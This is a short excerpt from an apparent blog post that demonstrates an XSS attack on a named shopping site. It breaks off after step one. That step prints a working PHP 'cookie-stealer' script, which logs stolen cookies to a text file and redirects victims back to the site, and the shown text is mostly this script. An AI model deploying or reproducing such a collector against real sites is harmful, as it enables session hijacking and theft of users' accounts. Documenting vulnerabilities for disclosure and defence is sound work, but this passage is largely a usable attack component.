Earlier, I demonstrated the XSS vulnerability in DealsAndYou (fixed) and now, I’ll demo a XSS bug on KoolKart.com. I’ll describe the whole process below.
Step 1 – Writing a php script for saving cookie returned by injected code (cookie-stealer.php).
$str = trim($_REQUEST['cookie']); $file = 'cookie.txt'; if(!empty($str)){ $current = file_get_contents($file); $current .= date('Y-m-d H:i:s') . "\t\t" . $str . "\n\n\n"; file_put_contents($file, $current); header('Location: http://www.koolkart.com/'); }
The code is self explanatory. It gets the cookie information via querystring, saves it to a text file and redirects back to koolkart. Continue reading